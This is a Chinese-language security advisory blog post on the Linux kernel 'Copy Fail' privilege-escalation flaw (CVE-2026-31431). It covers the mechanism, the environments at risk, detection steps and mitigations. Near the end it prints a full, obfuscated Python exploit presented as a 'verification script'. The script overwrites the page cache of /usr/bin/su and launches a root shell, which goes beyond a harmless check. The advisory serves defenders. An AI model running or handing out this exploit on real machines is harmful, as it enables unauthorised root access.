2026-05-01 05:55:20 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 文档详细分析了Linux内核CVE-2026-31431（CopyFail）漏洞，该漏洞存在于crypto子系统的algifaead/authencesn组件，允许低权限用户通过AFALG和splice()组合实现pagecache可控写入，从而提权。主要影响多租户容器、CI/CD、沙箱等共享内核环境。建议优先排查高风险场景，并通过升级内核、禁用algifaead模块或限制AFALGsocket进行缓解，同时提供了检测脚本和应急响应步骤。 综合评分： 85 文章分类： 漏洞预警,漏洞分析,应急响应,云安全,Linux安全

cover_image

Linux Copy Fail漏洞预警，丝滑提权不是梦

原创

千里千里

东方隐侠安全团队

2026年4月30日 12:50 江苏

在小说阅读器读本章

去阅读

各位少侠，中午好，我是千里。

今天火爆圈内的Linux 内核的 CVE-2026-31431 值得重点看一下。这个漏洞的利用条件是攻击者需要先在机器上有一个低权限执行入口，然后可以通过利用漏洞丝滑提权，从攻击链的角度来说，该漏洞日后将会成为后渗透的必备利用点。

比如共享开发机、跳板机、CI runner、构建服务器、Kubernetes 节点、在线 Notebook、沙箱服务、AI Agent 执行环境，只要允许用户代码、脚本、容器或任务在同一个内核上跑，本地提权就不是“本地小问题”，而是可能变成宿主机、节点、流水线和多租户环境的问题。

这个漏洞被公开命名为 Copy Fail。官方 CVE 评分是 7.8，高危。本质上是 Linux kernel crypto 子系统里algifaead/authencesn相关逻辑问题，攻击者可以通过AFALG和splice()组合，把一次本来应该失败的加密操作，变成对文件页缓存的可控写入。研究方已经公开了 PoC，并验证了多种主流发行版。

因此，我在这里先给出结论：

1.有多用户、多租户、容器、CI、沙箱、AI 执行任务的 Linux 机器，应当优先排查。

2.仅靠文件完整性校验不一定能发现问题，因为攻击打的是 page cache，不是直接改磁盘文件。

3.最可靠的修复方式是升级内核或安装发行版安全补丁。

4.无法立即升级时，可以临时禁用algif aead或限制AF ALG socket 创建，但要先评估业务是否使用 AF_ALG。

检查脚本请见第五章。

漏洞基本信息

| 项目 | 内容 | | — | — | | CVE | CVE-2026-31431 | | 名称 | Copy Fail | | 影响组件 | Linux kernel crypto /algif\_aead/authencesn | | 漏洞类型 | 本地提权 / page cache 可控写入 | | CVSS | 7.8 High | | 攻击条件 | 本地低权限执行，不需要用户交互 | | 典型影响 | 低权限用户提权到 root；容器、CI、沙箱场景可能扩大为节点级风险 | | 影响版本 | 已知受影响的操作系统及版本： * Ubuntu 24.04 LTS * Amazon Linux 2023 * Red Hat Enterprise Linux 10 * Red Hat Enterprise Linux 9 * Red Hat Enterprise Linux 8 * SUSE 16 受影响的内核提交范围： * 72548b093ee3 <= commit < a664bf3d603d | | 官方修复 | 回退algif_aead in-place 操作，恢复 out-of-place 处理。安全版本：commit >= a664bf3d603d 官方补丁升级官方已发布漏洞补丁及修复版本，请评估业务是否受影响后，升级至安全版本。 * 补丁链接：https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 针对 Ubuntu、Red Hat Enterprise Linux 等用户，发行版官方暂未全部发布安全更新，请及时关注官方安全公告： * Ubuntu 安全公告：https://ubuntu.com/security/CVE-2026-31431 * Red Hat 安全公告：https://access.redhat.com/security/cve/cve-2026-31431 缓解措施若暂时无法升级内核，可禁用 algif_aead 内核模块： echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf |

官方 CVE 记录显示，问题与 2017 年引入的algif_aead in-place 优化有关。受影响范围从 Linux kernel 4.14 开始，修复进入 6.18.22、6.19.12、7.0 等版本线。

这里要注意一点：企业排查时不要只看主线版本号。很多发行版会 backport 补丁，内核版本字符串可能看起来没有到官方修复版本，但补丁已经回填；也可能版本看起来接近，但供应商还没发布修复包。最终要以发行版安全公告和实际补丁状态为准。

为什么这个本地漏洞值得重视

不是所有本地提权漏洞都要拉响同样等级的警报。Copy Fail 值得重视，主要有几个原因。

第一，利用路径比较稳定。研究方描述它不是传统 race condition，不需要抢窗口，也不依赖每个发行版不同的内核偏移。公开信息里已经说明，同一思路在 Ubuntu、Amazon Linux、RHEL、SUSE 等环境上完成过验证。

第二，影响面和现代执行环境贴得很近。现在很多系统都会运行不完全可信的代码：CI 跑外部 PR，容器平台跑租户任务，AI Agent 帮用户执行脚本，Notebook 让用户跑代码。这些场景里，攻击者未必一开始就是 root，但只要能拿到普通代码执行，本地提权就可能成为下一跳。

第三，它改的是 page cache。文件在磁盘上不一定被改，传统基于磁盘 hash 的完整性校验可能看不到变化。但进程实际读取和执行文件时，读到的是内存里的页缓存。这个点会让检测和取证都更麻烦。

第四，已有公开 PoC 和衍生样本。你给到的 Python 脚本很短，核心就是利用AFALG、authencesn和splice()组合，把一段小的 ELF 内容按 4 字节写入/usr/bin/su的页缓存，然后执行目标二进制拿到 root shell。你补充的 S3 文件我也只做了静态识别，它是一个约 890KB 的静态链接 ELF，字符串里能看到socket(AFALG)、splice(file -> pipe)、bind(AF_ALG: authencesn…)、/usr/bin/su、/bin/sh等痕迹。这说明公开 PoC 之外，已经有人在整理更方便运行的二进制形态。

漏洞利用原理：一次失败的解密，为什么会改到文件缓存

这个漏洞的关键，不在“加密算法被破解”，而在内核处理数据路径时，把不该写的页缓存页放进了可写位置。

可以把利用链拆成四步。

第一步，攻击者从用户态打开AFALG socket，选择 authencesn(hmac(sha256),cbc(aes))这一类 AEAD 模板。AFALG本来是 Linux 暴露给用户态使用内核 crypto 能力的接口，普通用户也可以触达。

第二步，攻击者借助splice()把一个可读文件的数据送进 crypto 操作链路。splice()的特点是尽量避免复制，它会让管道和目标接口直接引用文件的 page cache。也就是说，进入 scatterlist 的不只是普通用户缓冲区，还可能是某个文件在内存里的缓存页。

第三步，algif_aead的 in-place 优化把 source 和 destination 放到同一条处理链上。原本这类优化是为了少拷贝，但在这里，文件 page cache 引用被链到了一个后续可能被写的位置。

第四步，authencesn在处理 ESN 相关字节时，会使用 destination buffer 当临时 scratch 空间，并在认证检查失败之前写入 4 个字节。正常情况下，这种临时写入不该碰到文件页缓存；但在前面的 in-place 路径下，这 4 字节可能落到被splice()带进来的文件 page cache 上。

最后的结果就是：解密请求可以失败，但写入已经发生。攻击者可以重复这个过程，在可控偏移写入可控的 4 字节。公开 PoC 选择的是 setuid 程序，因为这类程序一旦被页缓存层面临时修改，后续执行时就可能走到攻击者想要的逻辑，进而提权。

这也是为什么研究方把它叫 Copy Fail：本来应该是安全的数据拷贝和处理，最后“拷贝错了地方”，把写入带到了不该被写的页缓存。

哪些环境优先排查

优先级最高的是“低权限代码经常跑、并且共享同一个内核”的环境。

第一类是 Kubernetes 和容器平台。容器隔离共享宿主机内核，page cache 也在宿主机层面共享。如果容器里能触发相关 primitive，就要考虑节点级风险。

第二类是 CI/CD 和构建系统。自建 GitHub Actions runner、GitLab runner、Jenkins agent、构建农场，如果会执行外部 PR、第三方代码、供应链任务，这个漏洞会把“普通构建用户”变成高危入口。

第三类是共享开发机、跳板机、运维工具机。只要多个用户共享一台机器，本地提权的风险就会被放大。

第四类是 AI Agent、Notebook、代码沙箱和在线实验环境。现在很多 AI 工具会帮用户执行脚本、跑测试、装依赖、拉仓库。这类环境如果没有足够强的内核隔离和权限收敛，就需要特别关注。

第五类是普通服务器。单租户业务服务器不是第一优先级，但如果存在 Web RCE、弱口令、被盗凭据、低权限落点，Copy Fail 可能成为攻击链里的提权步骤。

应急排查建议

第一，先做资产分层。

把 Linux 机器按风险场景分出来：容器节点、CI runner、共享开发机、跳板机、沙箱/Notebook、AI Agent 执行机、普通业务机。不要一上来平均用力，先看哪里最可能跑不可信代码。

第二，确认内核和发行版修复状态。

查看当前内核版本和发行版信息：

uname -r
cat /etc/os-release

然后去对应发行版安全公告里确认是否已经合入 CVE-2026-31431 修复。不要只靠主线版本号做最终判断。

第三，确认algifaead和 AFALG 使用情况。

可以检查模块是否存在或已加载：

lsmod | grep algif_aead
modinfo algif_aead 2>/dev/null

也可以观察系统里是否有 AF_ALG 使用痕迹：

ss -xa | grep -i alg
lsof 2>/dev/null | grep AF_ALG

这些命令不等价于漏洞验证，只是帮助判断系统是否可能使用相关接口。

第四，尽快安装内核补丁并重启。

内核漏洞最终还是要靠内核更新解决。升级后需要确认实际运行内核已经切换，而不是只安装了包但没有重启。

第五，无法立即升级时做临时缓解。

如果确认业务不依赖algif\_aead，可以临时禁用模块：

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true

容器和沙箱环境还可以考虑通过 seccomp 限制AF_ALG socket 创建。这个动作更适合平台侧统一做，尤其是运行不可信代码的节点。

注意：临时缓解要先评估影响。大多数常规加密场景并不走 AFALG 用户态接口，但少数显式使用 AFALG 的应用、嵌入式加速场景、特殊 crypto offload 方案可能受影响。

最后，提供检验脚本：

#!/usr/bin/env python3
import&nbsp;os&nbsp;as&nbsp;g,zlib,socket&nbsp;as&nbsp;s
def&nbsp;d(x):return&nbsp;bytes.fromhex(x)
def&nbsp;c(f,t,c):
&nbsp;a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
&nbsp;try:u.recv(8+t)
&nbsp;except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while&nbsp;i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

也可参考：

https://github.com/rootsecdev/cve_2026_31431

检测和取证要注意什么

这个漏洞最麻烦的一点，是 page cache 写入不一定反映到磁盘文件。

所以，单纯对磁盘文件做 hash 校验，可能会得出“文件没变”的结论，但当时实际执行的内存页已经被改过。对于疑似被利用的机器，不能只看文件完整性结果。

建议重点关注：

低权限用户突然执行 setuid 程序后获得 root 行为。
Python 或未知二进制短时间内大量触发AF_ALG、splice()、sendmsg()、recvmsg()相关行为。
容器内普通用户对宿主机节点产生异常影响。
CI runner、沙箱、Notebook、Agent 执行机上出现不符合任务预期的 root shell、持久化、账号变更、sudoers 修改、SSH key 写入。

如果怀疑已经被利用，建议直接按主机入侵处理：隔离机器、保存内存和关键日志、重启清理页缓存影响、检查持久化痕迹、轮换可能被读取的凭据。虽然 page cache 改动本身可能不落盘，但攻击者拿到 root 后做的后续动作可能已经落盘。

几个容易误判的地方

第一，这不是远程 RCE。没有本地执行入口，不能直接从公网打进来。

第二，这也不是低优先级小洞。只要你的环境允许别人以普通用户身份运行代码，它就可能变成高危问题。

第三，不要把容器当成天然隔离边界。容器共享宿主机内核，这类漏洞正好打在内核边界上。

第四，不要只看磁盘文件 hash。这个漏洞的特殊点就在 page cache。

第五，不要在生产环境跑公开 PoC。PoC 会触碰 setuid 程序的页缓存，即使声称不持久，也可能导致系统状态异常，更不用说后续 root shell 带来的风险。

处置优先级

可以按下面顺序排：

运行不可信代码的 Kubernetes 节点、CI runner、沙箱、Notebook、AI Agent 执行机。
多用户共享的开发机、跳板机、构建机。
对外业务服务器，尤其是历史上出现过 Web RCE、命令执行、弱口令、文件上传风险的机器。
普通单用户终端和单租户内部服务器。

这次漏洞真正提醒我们的，不只是 Linux kernel 又出了一个 LPE。

更重要的是，现在很多系统都在主动给用户、插件、流水线、Agent 提供“执行能力”。以前本地提权可能离攻击者很远，现在一段 CI 脚本、一个容器任务、一次 AI Agent 自动执行，就可能把攻击者带到本地低权限位置。

所以，看这类漏洞不能只问“是不是远程”。还要问：我们的系统里，谁能跑代码？跑在哪里？和谁共享内核？能不能碰 setuid 程序？能不能触发 AF_ALG？出了事能不能复盘？

这些问题答清楚，才是真正的安全预警。

参考资料

CVE 官方记录：https://www.cve.org/CVERecord?id=CVE-2026-31431
CVE JSON 记录：https://cveawg.mitre.org/api/cve/CVE-2026-31431
Copy Fail 页面：https://copy.fail/
Xint 技术分析：https://xint.io/blog/copy-fail-linux-distributions
oss-security 讨论：https://www.openwall.com/lists/oss-security/2026/04/29/23
Linux stable 修复提交：
https://git.kernel.org/stable/c/fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8
https://git.kernel.org/stable/c/ce42ee423e58dffa5ec03524054c9d8bfd4f6237
https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

作者：东方隐侠安全团队千里

欢迎关注我们的公众号、CSDN、视频号、BiliBili账号
如您有意加入我的安全私域圈子，可扫码加入，我会和我的智能体一起用心地经营这一方天地

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：东方隐侠安全团队千里千里《Linux Copy Fail漏洞预警，丝滑提权不是梦》